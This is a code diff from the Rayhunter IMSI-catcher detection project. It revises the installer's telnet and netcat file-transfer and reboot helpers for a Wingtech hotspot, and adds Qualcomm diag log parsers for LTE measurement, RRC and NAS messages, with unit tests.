-    // skipping telnet echoing the command back using START, and terminating the connection right
-    // after the command exits.
-    //
-    // 'TELNET' is quoted so that when the command gets echoed back, it does not match against
-    // RAYHUNTER_TELNET_COMMAND_DONE search string.
-    writer.write_all(format!("echo RAYHUNTER_'TELNET'_COMMAND_START; {command}; echo RAYHUNTER_'TELNET'_COMMAND_DONE\r\n").as_bytes()).await?;
-
+    writer.write_all(command.as_bytes()).await?;
+    // by quoting the 'exit' here, we ensure that we do not read our own command line back as
+    // "output" before we even hit enter, but the actual result of executing the echo.
+    writer
+        .write_all(b"; echo command done, 'exit' code $?\r\n")
+        .await?;
    let mut read_buf = Vec::new();
-    timeout(command_timeout, async {
-        while let Ok(byte) = reader.read_u8().await {
-            read_buf.push(byte);
+    let _ = timeout(Duration::from_secs(10), async {
+        let mut buf = [0; 4096];
+        loop {
+            let Ok(bytes_read) = reader.read(&mut buf).await else {
+                break;
+            };
+            let bytes = &buf[..bytes_read];
+            if bytes.is_empty() {
+                continue;
+            }
+            read_buf.extend(bytes);

            // when we see this string we know the command is done and can terminate.
            // even if we sent command; exit, certain "telnet-like" shells (like nc contraptions)
            // may not terminate the connection appropriately on their own.
-            if byte == b'\n' {
-                let response = String::from_utf8_lossy(&read_buf);
-                if response.contains("RAYHUNTER_TELNET_COMMAND_DONE") {
-                    break;
-                }
+            let response = String::from_utf8_lossy(&read_buf);
+            if response.contains("command done, exit code ") {
+                break;
            }
        }
    })
-    .await
-    .with_context(|| format!("command timed out after {}s", command_timeout.as_secs()))?;
-    let string = String::from_utf8_lossy(&read_buf);
-    let start = string.rfind("RAYHUNTER_TELNET_COMMAND_START");
-    let end = string.rfind("RAYHUNTER_TELNET_COMMAND_DONE");
-    let string = match (start, end) {
-        (Some(start), Some(end)) => {
-            // skip past the START marker and the trailing \r\n of the echoed command line
-            let start = start + "RAYHUNTER_TELNET_COMMAND_START".len();
-            string[start..end].trim_start_matches(['\r', '\n'])
-        }
-        _ => bail!("failed to parse command output from string: {string:?}"),
-    };
-    Ok(string.to_string())
+    .await;
+    let string = String::from_utf8_lossy(&read_buf).to_string();
+    Ok(string)
 }

 pub async fn telnet_send_command(
@@ -79,10 +74,7 @@ pub async fn telnet_send_command(
    expected_output: &str,
    wait_for_prompt: bool,
 ) -> Result<()> {
-    let command = format!("{command}; echo command done, exit code $?");
-    let output =
-        telnet_send_command_with_output(addr, &command, wait_for_prompt, Duration::from_secs(10))
-            .await?;
+    let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?;
    if !output.contains(expected_output) {
        bail!("{expected_output:?} not found in: {output}");
    }
@@ -96,17 +88,13 @@ pub async fn telnet_send_file(
    wait_for_prompt: bool,
 ) -> Result<()> {
    print!("Sending file {filename} ... ");
-    // Allow 30s base + 2s per MB for the nc command to complete (covers slow WiFi links)
-    let transfer_timeout =
-        Duration::from_secs(30 + (payload.len() as u64 / (1024 * 1024)).max(1) * 2);
    let nc_output = {
        let filename = filename.to_owned();
        let handle = tokio::spawn(async move {
            telnet_send_command_with_output(
                addr,
-                &format!("nc -l -p 8081 2>&1 >{filename}.tmp"),
+                &format!("nc -l -p 8081 >{filename}.tmp"),
                wait_for_prompt,
-                transfer_timeout,
            )
            .await
        });
@@ -133,7 +121,7 @@ pub async fn telnet_send_file(
            print!("attempt {attempts}... ");
        }

-        let send_result: Result<()> = async {
+        {
            let mut stream = stream?;
            stream.write_all(payload).await?;

@@ -146,23 +134,11 @@ pub async fn telnet_send_file(
            // application buffers here.
            sleep(Duration::from_millis(1000)).await;

-            Ok(())
-        }
-        .await;
-
-        let nc_output = handle
-            .await
-            .context("background nc writer failed")?
-            .context("background nc writer failed")?;
-
-        if let Err(e) = send_result {
-            bail!(
-                "Failed to send data to nc: {e}. nc output: '{}'",
-                nc_output.trim()
-            );
+            // ensure that stream is dropped before we wait for nc to terminate.
+            drop(stream);
        }

-        nc_output
+        handle.await??
    };

    let checksum = md5::compute(payload);
@@ -209,11 +185,30 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R
    Ok(())
 }

-pub async fn reboot_device(addr: SocketAddr, reboot_command: &str, admin_ip: &str) {
-    println!(
-        "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
-    );
-    let _ = telnet_send_command(addr, reboot_command, "", true).await;
+pub async fn http_ok_every(
+    rayhunter_url: String,
+    interval: Duration,
+    max_failures: u32,
+) -> Result<()> {
+    let client = Client::new();
+    let mut failures = 0;
+    loop {
+        match client.get(&rayhunter_url).send().await {
+            Ok(test) => match test.status().is_success() {
+                true => break,
+                false => bail!(
+                    "request for url ({rayhunter_url}) failed with status code: {:?}",
+                    test.status()
+                ),
+            },
+            Err(e) => match failures > max_failures {
+                true => return Err(e.into()),
+                false => failures += 1,
+            },
+        }
+        sleep(interval).await;
+    }
+    Ok(())
 }

 /// General function to open a USB device
--- a/installer/src/wingtech.rs
+++ b/installer/src/wingtech.rs
@@ -1,13 +1,3 @@
-use crate::WingtechArgs as Args;
-use crate::output::{print, println};
-use crate::util::{reboot_device, telnet_send_command, telnet_send_file};
-use aes::Aes128;
-use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
-use anyhow::{Context, Result, bail};
-use base64_light::base64_encode_bytes;
-use block_padding::{Padding, Pkcs7};
-use reqwest::Client;
-use serde::Deserialize;
 /// Installer for the Wingtech CT2MHS01 hotspot.
 ///
 /// Tested on (from `/etc/wt_version`):
@@ -16,6 +6,20 @@ use serde::Deserialize;
 ///   WT_HARDWARE_VERSION=89323_1_20
 use std::net::SocketAddr;
 use std::str::FromStr;
+use std::time::Duration;
+
+use aes::Aes128;
+use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
+use anyhow::{Context, Result, bail};
+use base64_light::base64_encode_bytes;
+use block_padding::{Padding, Pkcs7};
+use reqwest::Client;
+use serde::Deserialize;
+use tokio::time::sleep;
+
+use crate::WingtechArgs as Args;
+use crate::output::{print, println};
+use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};

 #[derive(Deserialize)]
 struct LoginResponse {
@@ -26,7 +30,6 @@ pub async fn install(
    Args {
        admin_ip,
        admin_password,
-        ..
    }: Args,
 ) -> Result<()> {
    wingtech_run_install(admin_ip, admin_password).await
@@ -142,13 +145,20 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
    )
    .await?;

-    reboot_device(addr, "shutdown -r -t 1 now", &admin_ip).await;
+    println!("Rebooting device and waiting 30 seconds for it to start up.");
+    telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?;
+    sleep(Duration::from_secs(30)).await;

-    println!();
-    println!("Note: by default the CT2MHS01 shuts off Wi-Fi after ~10 minutes with no clients,");
-    println!("which blocks remote access to Rayhunter until you power cycle. To keep");
-    println!("Wi-Fi always on, open http://{admin_ip}/ -> Settings -> Sleep and set");
-    println!("Wi-Fi Standby to \"Always on\". See doc/wingtech-ct2mhs01.md for steps.");
+    print!("Testing rayhunter ... ");
+    let max_failures = 10;
+    http_ok_every(
+        format!("http://{admin_ip}:8080/index.html"),
+        Duration::from_secs(3),
+        max_failures,
+    )
+    .await?;
+    println!("ok");
+    println!("rayhunter is running at http://{admin_ip}:8080");

    Ok(())
 }
--- a/lib/Cargo.toml
+++ b/lib/Cargo.toml
@@ -1,16 +1,14 @@
 [package]
 name = "rayhunter"
-version = "0.10.2"
+version = "0.10.1"
 edition = "2024"
 description = "Realtime cellular data decoding and analysis for IMSI catcher detection"

+
 [lib]
 name = "rayhunter"
 path = "src/lib.rs"

-[features]
-apidocs = ["dep:utoipa"]
-
 [dependencies]
 bytes = "1.11.1"
 chrono = { version = "0.4.31", features = ["serde"] }
@@ -29,7 +27,5 @@ futures = { version = "0.3.30", default-features = false }
 serde = { version = "1.0.197", features = ["derive"] }
 serde_json = "1.0"
 num_enum = "0.7.4"
-utoipa = { version = "5.4.0", optional = true }

 [dev-dependencies]
-tempfile = "3"
--- a/lib/src/analysis/analyzer.rs
+++ b/lib/src/analysis/analyzer.rs
@@ -17,10 +17,8 @@ use super::{
    test_analyzer::TestAnalyzer,
 };

-/// A list of booleans which stores information about which analyzers are enabled
 #[derive(Debug, Clone, Deserialize, Serialize)]
 #[serde(default)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct AnalyzerConfig {
    pub diagnostic_analyzer: bool,
    pub connection_redirect_2g_downgrade: bool,
@@ -53,7 +51,6 @@ pub const REPORT_VERSION: u32 = 2;
 ///
 /// Informational does not result in any alert on the display.
 #[derive(Serialize, Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub enum EventType {
    Informational = 0,
    Low = 1,
@@ -143,29 +140,20 @@ pub trait Analyzer {
    fn get_version(&self) -> u32;
 }

-/// Specific information on a given analyzer
 #[derive(Serialize, Deserialize, Debug)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct AnalyzerMetadata {
-    /// The analyzer name
    pub name: String,
-    /// A description of what the analyzer does
    pub description: String,
-    /// The deployed version of the analyzer code
    pub version: u32,
 }

-/// The metadata for an analyzed report
 #[derive(Serialize, Deserialize, Debug)]
 #[serde(default)]
 #[derive(Default)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct ReportMetadata {
-    /// A vector array of which analyzers were in use for the analysis
    pub analyzers: Vec<AnalyzerMetadata>,
-    /// The runtime metadata for rayhunter during the recording and analysis
    pub rayhunter: RuntimeMetadata,
-    /// The version of the reporting format used
+
    // anytime the format of the report changes, bump this by 1
    //
    // the default is 0. we consider our legacy (unversioned) heuristics to be v0 -- this'll let us
--- a/lib/src/diag/diaglog/measurement.rs
+++ b/lib/src/diag/diaglog/measurement.rs
@@ -0,0 +1,351 @@
+//! Diag ML1 measurement log serialization/deserialization. These are pretty
+//! much entirely based on Shinjo Park's work in scat, since we couldn't find
+//! any other documentation for the logs' structure.
+
+use deku::prelude::*;
+use deku::ctx::Order;
+
+fn decode_rsrp(rsrp: u16) -> f32 {
+    rsrp as f32 / 16.0 - 180.0
+}
+
+fn decode_rssi(rssi: u16) -> f32 {
+    rssi as f32 / 16.0 - 110.0
+}
+
+fn decode_rsrq(rsrq: u16) -> f32 {
+    rsrq as f32 / 16.0 - 30.0
+}
+
+pub mod serving_cell {
+    use super::*;
+
+    #[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
+    #[deku(bit_order = "lsb")]
+    pub struct MeasurementAndEvaluation {
+        pub header: MeasurementAndEvaluationHeader,
+        #[deku(bits = 12, pad_bits_after = "20")]
+        meas_rsrp: u16,
+        avg_rsrp: u32,
+        #[deku(bits = 10, pad_bits_after = "22")]
+        meas_rsrq: u16,
+        #[deku(pad_bits_before = "10", bits = 11, pad_bits_after = "11")]
+        meas_rssi: u16,
+        rxlev: u32,
+        s_search: u32,
+        #[deku(cond = "header.get_rrc_rel() == 0x01")]
+        r9_data: Option<u32>,
+    }
+
+    #[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
+    #[deku(ctx = "_: Order", id_type = "u8", bit_order = "lsb")]
+    pub enum MeasurementAndEvaluationHeader {
+        #[deku(id = "4")]
+        V4 {
+            rrc_rel: u8,
+            _reserved: u16,
+            earfcn: u16,
+            #[deku(bits = 9)]
+            pci: u16,
+            #[deku(bits = 7)]
+            serv_layer_priority: u8,
+        },
+        #[deku(id = "5")]
+        V5 {
+            rrc_rel: u8,
+            _reserved: u16,
+            earfcn: u32,
+            #[deku(bits = 9)]
+            pci: u16,
+            #[deku(bits = 7, pad_bytes_after = "2")]
+            serv_layer_priority: u8,
+        },
+    }
+
+    impl MeasurementAndEvaluationHeader {
+        fn get_rrc_rel(&self) -> u8 {
+            match self {
+                MeasurementAndEvaluationHeader::V4 { rrc_rel, .. } => *rrc_rel,
+                MeasurementAndEvaluationHeader::V5 { rrc_rel, .. } => *rrc_rel,
+            }
+        }
+    }
+
+    impl MeasurementAndEvaluation {
+        pub fn get_pci(&self) -> u16 {
+            match &self.header {
+                MeasurementAndEvaluationHeader::V4 { pci, .. } => *pci,
+                MeasurementAndEvaluationHeader::V5 { pci, .. } => *pci,
+            }
+        }
+
+        pub fn get_earfcn(&self) -> u32 {
+            match &self.header {
+                MeasurementAndEvaluationHeader::V4 { earfcn, .. } => *earfcn as u32,
+                MeasurementAndEvaluationHeader::V5 { earfcn, .. } => *earfcn,
+            }
+        }
+
+        pub fn get_meas_rsrp(&self) -> f32 {
+            decode_rsrp(self.meas_rsrp)
+        }
+
+        pub fn get_meas_rssi(&self) -> f32 {
+            decode_rssi(self.meas_rssi)
+        }
+
+        pub fn get_meas_rsrq(&self) -> f32 {
+            decode_rsrq(self.meas_rsrq)
+        }
+    }
+}
+
+pub mod neighbor_cells {
+    use super::*;
+
+    #[derive(Clone, Debug, DekuRead, DekuWrite, PartialEq)]
+    #[deku(id_type = "u8", bit_order = "lsb")]
+    pub enum MeasurementsHeader {
+        #[deku(id = "4")]
+        V4 {
+            rrc_rel: u8,
+            _reserved1: u16,
+            earfcn: u16,
+            #[deku(bits = 6)]
+            q_rxlevmin: u8,
+            #[deku(bits = 10)]
+            n_cells: u16,
+        },
+        #[deku(id = "5")]
+        V5 {
+            rrc_rel: u8,
+            _reserved1: u16,
+            earfcn: u32,
+            #[deku(bits = 6)]
+            q_rxlevmin: u8,
+            #[deku(bits = 26)]
+            n_cells: u32,
+        },
+    }
+
+    impl MeasurementsHeader {
+        fn get_n_cells(&self) -> usize {
+            match self {
+                MeasurementsHeader::V4 { n_cells, .. } => *n_cells as usize,
+                MeasurementsHeader::V5 { n_cells, .. } => *n_cells as usize,
+            }
+        }
+    }
+
+    #[derive(Clone, Debug, DekuRead, DekuWrite, PartialEq)]
+    pub struct Measurements {
+        pub header: MeasurementsHeader,
+        #[deku(count = "header.get_n_cells()")]
+        pub cells: Vec<MeasurementsCell>
+    }
+
+    impl Measurements {
+        pub fn get_earfcn(&self) -> u32 {
+            match &self.header {
+                MeasurementsHeader::V4 { earfcn, .. } => *earfcn as u32,
+                MeasurementsHeader::V5 { earfcn, .. } => *earfcn,
+            }
+        }
+    }
+
+
+    #[derive(Clone, Debug, DekuRead, DekuWrite, PartialEq)]
+    #[deku(bit_order = "lsb")]
+    pub struct MeasurementsCell {
+        #[deku(bits = 9)]
+        pub pci: u16,
+        #[deku(bits = 11)]
+        meas_rssi: u16,
+        #[deku(bits = 12)]
+        meas_rsrp: u16,
+        #[deku(pad_bits_before = "12", bits = 12, pad_bits_after = "8")]
+        avg_rsrp: u16,
+        #[deku(pad_bits_before = "12", bits = 10, pad_bits_after = "10")]
+        meas_rsrq: u16,
+        #[deku(bits = 10, pad_bits_after = "10")]
+        avg_rsrq: u16,
+        #[deku(bits = 6, pad_bits_after = "6")]
+        s_rxlev: u16,
+        n_freq_offset: u16,
+        val5: u16,
+        ant0_offset: u32,
+        ant1_offset: u32,
+        unk1: u32,
+    }
+
+    impl MeasurementsCell {
+        pub fn get_meas_rsrp(&self) -> f32 {
+            decode_rsrp(self.meas_rsrp)
+        }
+
+        pub fn get_meas_rssi(&self) -> f32 {
+            decode_rssi(self.meas_rssi)
+        }
+
+        pub fn get_meas_rsrq(&self) -> f32 {
+            decode_rsrq(self.meas_rsrq)
+        }
+    }
+}
+
+#[cfg(test)]
+mod test {
+    use super::*;
+    use crate::diag::diaglog::LogBody;
+    use crate::log_codes::{LOG_LTE_ML1_NEIGHBOR_MEAS, LOG_LTE_ML1_SERVING_CELL_MEAS_RESP_AND_EVAL};
+    use std::io::{Cursor, Seek};
+
+    fn unhexlify(hexlified_bytes: &str) -> (usize, Reader<Cursor<Vec<u8>>>) {
+        let byte_len = hexlified_bytes.len() / 2;
+        let bytes = (0..hexlified_bytes.len())
+            .step_by(2)
+            .map(|i| u8::from_str_radix(&hexlified_bytes[i..i+2], 16).unwrap())
+            .collect();
+        (byte_len, Reader::new(Cursor::new(bytes)))
+    }
+
+    fn parse_ncell_measurements(hexlified_bytes: &str) -> (u8, neighbor_cells::Measurements) {
+        let (total_size, mut reader) = unhexlify(hexlified_bytes);
+        match LogBody::from_reader_with_ctx(&mut reader, (LOG_LTE_ML1_NEIGHBOR_MEAS as u16, 0)) {
+            Ok(LogBody::LteMl1NeighborCellsMeasurements { data }) => {
+                if !reader.end() {
+                    let leftover_bits = reader.rest();
+                    let leftover_bytes = total_size - reader.stream_position().unwrap() as usize;
+                    panic!("failed to read entire buffer ({} bytes, {} bits left)", leftover_bytes, leftover_bits.len());
+                }
+                let pkt_version = match data.header {
+                    neighbor_cells::MeasurementsHeader::V4 { .. } => 4,
+                    neighbor_cells::MeasurementsHeader::V5 { .. } => 5,
+                };
+                (pkt_version, data)
+            },
+            Ok(x) => panic!("expected MeasurementAndEvaluation, but parsed {:?}", x),
+            Err(x) => panic!("failed to parse MeasurementAndEvaluation {:?}", x),
+        }
+    }
+
+    fn parse_meas_eval(hexlified_bytes: &str) -> (u8, serving_cell::MeasurementAndEvaluation) {
+        let (total_size, mut reader) = unhexlify(hexlified_bytes);
+        match LogBody::from_reader_with_ctx(&mut reader, (LOG_LTE_ML1_SERVING_CELL_MEAS_RESP_AND_EVAL as u16, 0)) {
+            Ok(LogBody::LteMl1ServingCellMeasurementAndEvaluation { data }) => {
+                if !reader.end() {
+                    let leftover_bits = reader.rest();
+                    let leftover_bytes = total_size - reader.stream_position().unwrap() as usize;
+                    panic!("failed to read entire buffer ({} bytes, {} bits left)", leftover_bytes, leftover_bits.len());
+                }
+                let pkt_version = match data.header {
+                    serving_cell::MeasurementAndEvaluationHeader::V4 { .. } => 4,
+                    serving_cell::MeasurementAndEvaluationHeader::V5 { .. } => 5,
+                };
+                (pkt_version, data)
+            },
+            Ok(x) => panic!("expected MeasurementAndEvaluation, but parsed {:?}", x),
+            Err(x) => panic!("failed to parse MeasurementAndEvaluation {:?}", x),
+        }
+    }
+
+    fn scell_meas_and_eval_case(
+        hexlified_bytes: &str,
+        pkt_version: u8,
+        pci: u16,
+        earfcn: u32,
+        rsrp: f32,
+        rsrq: f32,
+        rssi: f32
+    ) {
+        let (parsed_pkt_version, data) = parse_meas_eval(hexlified_bytes);
+        assert_eq!(parsed_pkt_version, pkt_version);
+        assert_eq!(data.get_pci(), pci, "incorrect pci");
+        assert_eq!(data.get_earfcn(), earfcn, "incorrect earfcn");
+        assert_eq!(data.get_meas_rsrp(), rsrp, "incorrect rsrp");
+        assert_eq!(data.get_meas_rsrq(), rsrq, "incorrect rsrq");
+        assert_eq!(data.get_meas_rssi(), rssi, "incorrect rssi");
+    }
+
+    // Adapted from scat's TestDiagLteLogParser::test_parse_lte_ml1_scell_meas,
+    // but edited to print full-precision floats
+    #[test]
+    fn test_scell_meas() {
+        scell_meas_and_eval_case(
+            "040100009C18D60AECC44E00E2244E00FFFCE30FFED80A0047AD56021D310100A2624100",
+            4,
+            214,
+            6300,
+            -101.25,
+            -14.0625,
+            -66.625
+        );
+        scell_meas_and_eval_case(
+            "05010000160d0000d40e00004bb444005444450039e514133149070048adfe019f310100a23f0000",
+            5,
+            212,
+            3350,
+            -111.3125,
+            -10.4375,
+            -80.875,
+        );
+        scell_meas_and_eval_case(
+            "05010000f424000a4d43434d4e434d41524b45527c307c3236327c317c34323330333233347c7c4d43434d4e434d41524b45520a0a434f504d41524b45527c434f504552524f5232363230317c434f504d41524b45520a006306000057755500577555001d75d4111d290b0048ad7e02dd370100a27f4100",
+            5,
+            333,
+            167781620,
+            -127.125,
+            -22.25,
+            2.75,
+        );
+        scell_meas_and_eval_case(
+            "0501000000190000a90d0000d9944d00d9944d006081d5d55d2568bc48ad3e027f314fe0891900e0",
+            5,
+            425,
+            6400,
+            -102.4375,
+            -8.0,
+            -77.4375,
+        );
+    }
+
+    fn ncell_meas_case(
+        hexlified_bytes: &str,
+        pkt_version: u8,
+        earfcn: u32,
+        cells: Vec<(u16, f32, f32, f32)>,
+    ) {
+        let (parsed_pkt_version, data) = parse_ncell_measurements(hexlified_bytes);
+        assert_eq!(parsed_pkt_version, pkt_version, "incorrect pkt_version");
+        assert_eq!(data.cells.len(), cells.len(), "incorrect number of cells");
+        assert_eq!(data.get_earfcn(), earfcn, "incorrect earfcn");
+        for (parsed, (pci, rsrp, rssi, rsrq)) in data.cells.iter().zip(cells) {
+            assert_eq!(parsed.pci, pci, "incorrect pci");
+            assert_eq!(parsed.get_meas_rsrp(), rsrp, "incorrect rsrp");
+            assert_eq!(parsed.get_meas_rssi(), rssi, "incorrect rssi");
+            assert_eq!(parsed.get_meas_rsrq(), rsrq, "incorrect rsrq");
+        }
+    }
+
+    // Adapted from scat's TestDiagLteLogParser::test_parse_lte_ml1_ncell_meas,
+    // but edited to print full-precision floats
+    #[test]
+    fn test_ncell_meas() {
+        ncell_meas_case(
+            "040100009C1847008348E44DDEA44C00CAB4CC32B6D8420300000000FF773301FF77330122020100",
+            4,
+            6300,
+            vec![
+                (131, -102.125, -75.75, -17.3125),
+            ]
+        );
+         ncell_meas_case(
+             "05010000160d0000480000006cea413bb4433b00b4f3cc33cf3c130200000000ffefc00fffefc00f45081600",
+             5,
+             3350,
+             vec![
+                 (108, -120.75, -94.6875, -17.0625),
+             ]
+         );
+    }
+}
--- a/lib/src/diag/diaglog/mod.rs
+++ b/lib/src/diag/diaglog/mod.rs
@@ -0,0 +1,206 @@
+//! Diag LogBody serialization/deserialization
+
+use chrono::{DateTime, FixedOffset};
+use deku::prelude::*;
+
+pub mod measurement;
+pub mod rrc;
+
+#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
+#[deku(ctx = "log_type: u16, hdr_len: u16", id = "log_type")]
+pub enum LogBody {
+    #[deku(id = "0x412f")]
+    WcdmaSignallingMessage {
+        channel_type: u8,
+        radio_bearer: u8,
+        length: u16,
+        #[deku(count = "length")]
+        msg: Vec<u8>,
+    },
+    #[deku(id = "0x512f")]
+    GsmRrSignallingMessage {
+        channel_type: u8,
+        message_type: u8,
+        length: u8,
+        #[deku(count = "length")]
+        msg: Vec<u8>,
+    },
+    #[deku(id = "0x5226")]
+    GprsMacSignallingMessage {
+        channel_type: u8,
+        message_type: u8,
+        length: u8,
+        #[deku(count = "length")]
+        msg: Vec<u8>,
+    },
+    #[deku(id = "0xb0c0")]
+    LteRrcOtaMessage {
+        ext_header_version: u8,
+        #[deku(ctx = "*ext_header_version")]
+        packet: rrc::LteRrcOtaPacket,
+    },
+    // the four NAS command opcodes refer to:
+    // * 0xb0e2: plain ESM NAS message (incoming)
+    // * 0xb0e3: plain ESM NAS message (outgoing)
+    // * 0xb0ec: plain EMM NAS message (incoming)
+    // * 0xb0ed: plain EMM NAS message (outgoing)
+    #[deku(id_pat = "0xb0e2 | 0xb0e3 | 0xb0ec | 0xb0ed")]
+    Nas4GMessage {
+        #[deku(skip, default = "log_type")]
+        log_type: u16,
+        #[deku(ctx = "*log_type")]
+        direction: Nas4GMessageDirection,
+        ext_header_version: u8,
+        rrc_rel: u8,
+        rrc_version_minor: u8,
+        rrc_version_major: u8,
+        // message length = hdr_len - (sizeof(ext_header_version) + sizeof(rrc_rel) + sizeof(rrc_version_minor) + sizeof(rrc_version_major))
+        #[deku(count = "hdr_len.saturating_sub(4)")]
+        msg: Vec<u8>,
+    },
+    #[deku(id = "0x11eb")]
+    IpTraffic {
+        // is this right?? based on https://github.com/P1sec/QCSuper/blob/81dbaeee15ec7747e899daa8e3495e27cdcc1264/src/modules/pcap_dump.py#L378
+        #[deku(count = "hdr_len.saturating_sub(8)")]
+        msg: Vec<u8>,
+    },
+    #[deku(id = "0x713a")]
+    UmtsNasOtaMessage {
+        is_uplink: u8,
+        length: u32,
+        #[deku(count = "length")]
+        msg: Vec<u8>,
+    },
+    #[deku(id = "0xb821")]
+    NrRrcOtaMessage {
+        #[deku(count = "hdr_len")]
+        msg: Vec<u8>,
+    },
+    #[deku(id = "0xb17f")]
+    LteMl1ServingCellMeasurementAndEvaluation {
+        data: measurement::serving_cell::MeasurementAndEvaluation,
+    },
+    #[deku(id = "0xb180")]
+    LteMl1NeighborCellsMeasurements {
+        data: measurement::neighbor_cells::Measurements,
+    },
+}
+
+#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
+#[deku(ctx = "log_type: u16", id = "log_type")]
+pub enum Nas4GMessageDirection {
+    // * 0xb0e2: plain ESM NAS message (incoming)
+    // * 0xb0e3: plain ESM NAS message (outgoing)
+    // * 0xb0ec: plain EMM NAS message (incoming)
+    // * 0xb0ed: plain EMM NAS message (outgoing)
+    #[deku(id_pat = "0xb0e2 | 0xb0ec")]
+    Downlink,
+    #[deku(id_pat = "0xb0e3 | 0xb0ed")]
+    Uplink,
+}
+
+#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
+#[deku(endian = "little")]
+pub struct Timestamp {
+    pub ts: u64,
+}
+
+impl Timestamp {
+    pub fn to_datetime(&self) -> DateTime<FixedOffset> {
+        // Upper 48 bits: epoch at 1980-01-06 00:00:00, incremented by 1 for 1/800s
+        // Lower 16 bits: time since last 1/800s tick in 1/32 chip units
+        let ts_upper = self.ts >> 16;
+        let ts_lower = self.ts & 0xffff;
+        let epoch = chrono::DateTime::parse_from_rfc3339("1980-01-06T00:00:00-00:00").unwrap();
+        let mut delta_seconds = ts_upper as f64 * 1.25;
+        delta_seconds += ts_lower as f64 / 40960.0;
+        let ts_delta = chrono::Duration::milliseconds(delta_seconds as i64);
+        epoch + ts_delta
+    }
+}
+
+#[cfg(test)]
+mod test {
+    use super::*;
+    use crate::diag::Message;
+
+    #[test]
+    fn test_logs() {
+        let data = vec![
+            16, 0, 38, 0, 38, 0, 192, 176, 26, 165, 245, 135, 118, 35, 2, 1, 20, 14, 48, 0, 160, 0,
+            2, 8, 0, 0, 217, 15, 5, 0, 0, 0, 0, 7, 0, 64, 1, 238, 173, 213, 77, 208,
+        ];
+        let msg = Message::from_bytes((&data, 0)).unwrap().1;
+        assert_eq!(
+            msg,
+            Message::Log {
+                pending_msgs: 0,
+                outer_length: 38,
+                inner_length: 38,
+                log_type: 0xb0c0,
+                timestamp: Timestamp {
+                    ts: 72659535985485082
+                },
+                body: LogBody::LteRrcOtaMessage {
+                    ext_header_version: 20,
+                    packet: rrc::LteRrcOtaPacket::V8 {
+                        rrc_rel_maj: 14,
+                        rrc_rel_min: 48,
+                        bearer_id: 0,
+                        phy_cell_id: 160,
+                        earfcn: 2050,
+                        sfn_subfn: 4057,
+                        pdu_num: 5,
+                        sib_mask: 0,
+                        len: 7,
+                        packet: vec![0x40, 0x1, 0xee, 0xad, 0xd5, 0x4d, 0xd0],
+                    },
+                },
+            }
+        );
+    }
+
+    #[test]
+    fn test_fuzz_crash_inner_length_underflow() {
+        // Regression test: inner_length < 12 previously caused panic.
+        // Fixed by using saturating_sub in Message::Log body length calculation.
+        let fuzz_data = b"\x10\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
+        let _ = Message::from_bytes((fuzz_data, 0));
+    }
+
+    #[test]
+    fn test_fuzz_crash_nas_hdr_len_underflow() {
+        // Regression test for two things:
+        // - hdr_len < 4 previously caused panic in Nas4GMessage.
+        // - Upgrading to deku 0.20 caused incorrect parsing behavior (double-read of discriminant)
+        let nas_msg =
+            b"\x10\x00\x14\x00\x02\x00\xe2\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00";
+
+        let ((rest, _), msg) = Message::from_bytes((nas_msg, 0)).unwrap();
+
+        assert_eq!(rest.len(), 0);
+        assert!(
+            matches!(
+                msg,
+                Message::Log {
+                    log_type: 0xb0e2,
+                    body: LogBody::Nas4GMessage {
+                        direction: Nas4GMessageDirection::Downlink,
+                        ..
+                    },
+                    ..
+                }
+            ),
+            "Unexpected message: {:?}",
+            msg
+        );
+    }
+
+    #[test]
+    fn test_fuzz_crash_ip_traffic_hdr_len_underflow() {
+        // Regression test: hdr_len < 8 previously caused panic in IpTraffic.
+        // Fixed by using saturating_sub for msg length calculation.
+        let ip_msg = b"\x10\x00\x14\x00\x02\x00\xeb\x11\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00";
+        let _ = Message::from_bytes((ip_msg, 0));
+    }
+}
--- a/lib/src/diag/diaglog/rrc.rs
+++ b/lib/src/diag/diaglog/rrc.rs
@@ -0,0 +1,110 @@
+//! Diag LTE RRC serialization/deserialization
+
+use deku::prelude::*;
+
+#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
+#[deku(ctx = "ext_header_version: u8", id = "ext_header_version")]
+pub enum LteRrcOtaPacket {
+    #[deku(id_pat = "0..=4")]
+    V0 {
+        rrc_rel_maj: u8,
+        rrc_rel_min: u8,
+        bearer_id: u8,
+        phy_cell_id: u16,
+        earfcn: u16,
+        sfn_subfn: u16,
+        pdu_num: u8,
+        len: u16,
+        #[deku(count = "len")]
+        packet: Vec<u8>,
+    },
+    #[deku(id_pat = "5..=7")]
+    V5 {
+        rrc_rel_maj: u8,
+        rrc_rel_min: u8,
+        bearer_id: u8,
+        phy_cell_id: u16,
+        earfcn: u16,
+        sfn_subfn: u16,
+        pdu_num: u8,
+        sib_mask: u32,
+        len: u16,
+        #[deku(count = "len")]
+        packet: Vec<u8>,
+    },
+    #[deku(id_pat = "8..=24")]
+    V8 {
+        rrc_rel_maj: u8,
+        rrc_rel_min: u8,
+        bearer_id: u8,
+        phy_cell_id: u16,
+        earfcn: u32,
+        sfn_subfn: u16,
+        pdu_num: u8,
+        sib_mask: u32,
+        len: u16,
+        #[deku(count = "len")]
+        packet: Vec<u8>,
+    },
+    #[deku(id_pat = "25..")]
+    V25 {
+        rrc_rel_maj: u8,
